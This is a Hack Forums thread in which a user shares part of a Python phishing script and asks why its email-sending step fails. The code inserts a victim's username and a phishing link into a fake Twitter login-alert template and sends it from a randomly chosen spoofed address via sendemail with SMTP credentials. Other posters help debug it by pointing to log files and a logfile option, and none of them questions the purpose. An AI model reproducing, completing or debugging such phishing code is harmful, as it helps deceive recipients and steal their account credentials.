![]() |
|
[Python] How to see the error message in this script - Printable Version +- Hack Forums (https://hackforums.net) +-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444) +--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151) +---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118) +---- Thread: [Python] How to see the error message in this script (/showthread.php?tid=5956135) |
How to see the error message in this script - roosiinfidel09 - Apr 2, 2019 So, the issue is with the program called Send"e"mail NOT sendmail. Those who use kali might be familiar with this. Now, the last command with sendemail doesn't work because of some issue. Since this is a part of the script,the error message is not shown. I tried debugging this with pdb with no success. I am not an expert with pdb. How can I see what error comes up when this part of the code is executed? (the sendemail command..this probably has to do with the size of the e-mail, I guess) emaildata = str(EMAIL1_TWITTER) emaildata = emaildata.replace('_DEF9', str(UNAME)) emaildata = emaildata.replace('PHISHING_URL', str(phishin_url)) emaildata = emaildata.replace('Chrome on Linux', str(Email_OS)) emaildata = emaildata.replace('Iraq', str(Email_from)) # `DECIDES THE SPOOFED EMAIL ADDRESS from_email = str(random.choice(['[email protected]','[email protected]'])) ################################## # SENDS SPOOFED EMAIL # ################################## subprocess.call(['sendemail', '-f', from_email,'-t', str(Email), '-u', 'New login to Twitter', '-m', emaildata, '-s', smtps+":"+port, '-o message-charset=utf-8', '-o', '-o', '-xu', username, '-xp', password]) os.system('reset') RE: How to see the error message in this script - datguy.dev - Apr 2, 2019 Google where the sendmail logs are stored for your OS. You may have something like: /var/log/mail.err RE: How to see the error message in this script - lockhead - Apr 2, 2019 Do you get an error message or it just doesn't work like you want? Also please use code tags when posting code RE: How to see the error message in this script - roosiinfidel09 - Apr 5, 2019 (Apr 2, 2019 12:18 PM)lockhead Wrote: Do you get an error message or it just doesn't work like you want? Sorry about the quotes..I don't know what those are. It doesn't show any error messages because it is run from inside the script...but "sendemail will definitely show an error message. I tried debugging this with pdb..but that says x server cannot open a window because this program is being run in the root environment...which I have to run from root. (Apr 2, 2019 11:42 AM)datguy.dev Wrote: Google where the sendmail logs are stored for your OS. You may have something like: /var/log/mail.err Yea..I tried that. Unfortuantely Send"e"mail logs are not to be found there. This program is diffrent from sendmail. it is sendemail. RE: How to see the error message in this script - datguy.dev - Apr 5, 2019 (Apr 5, 2019 04:38 AM)roosiinfidel09 Wrote: Sorry about the quotes..I don't know what those are. It doesn't show any error messages because it is run from inside the script...but "sendemail will definitely show an error message. I tried debugging this with pdb..but that says x server cannot open a window because this program is being run in the root environment...which I have to run from root. Am I just a blind idiot for not seeing that or did you edit the OP? 🤣 Is it this program? If so, there is a command line arg for you to specify a logfile. -l RE: How to see the error message in this script - roosiinfidel09 - Apr 6, 2019 (Apr 5, 2019 02:32 PM)datguy.dev Wrote: Am I just a blind idiot for not seeing that or did you edit the OP? 🤣 Is it this program? If so, there is a command line arg for you to specify a logfile. -l Lol...Thanks. Yes..The creator of sendemail replied yesterday and told me about it. Thanks for your input |